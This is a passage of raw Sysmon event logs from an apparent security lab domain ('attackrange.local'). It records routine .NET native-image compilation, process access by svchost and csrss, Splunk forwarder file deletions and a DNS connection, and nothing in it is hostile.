.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013974Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:59.587{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F6B5431DCE2E4D7636D1DE792C8B168B,SHA256=187E3BA6D3B22B13CF7BD2C0BB23A3EEEFBA37B866170251629FF828D265DC36,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.701{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E93860AB83CC362B21DEE4D77CDD4197,SHA256=14842EAE84A4B019879717947BF7CA73E30DBE68B864F5A5AB1B56A89563317E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.651{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-C209-00000000F001}5996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.641{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-C209-00000000F001}5996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.641{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-C209-00000000F001}5996C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.571{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-C109-00000000F001}6848C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.561{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-C109-00000000F001}6848C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.561{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-C109-00000000F001}6848C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.501{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-C009-00000000F001}6292C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.490{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-C009-00000000F001}6292C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.490{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-C009-00000000F001}6292C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.450{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-BF09-00000000F001}860C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.440{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-BF09-00000000F001}860C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.440{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-BF09-00000000F001}860C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.340{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-6E01-613B-E106-00000000F001}7104C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.261{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-BE09-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.231{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-BE09-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.231{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-BE09-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.130{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-BD09-00000000F001}5624C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.100{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-BD09-00000000F001}5624C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.100{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-BD09-00000000F001}5624C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.039{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F6B-613B-BC09-00000000F001}5556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.019{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F6B-613B-BC09-00000000F001}5556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:59.019{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F6B-613B-BC09-00000000F001}5556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000044705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.089{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60902- 10341000x800000000000000044776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 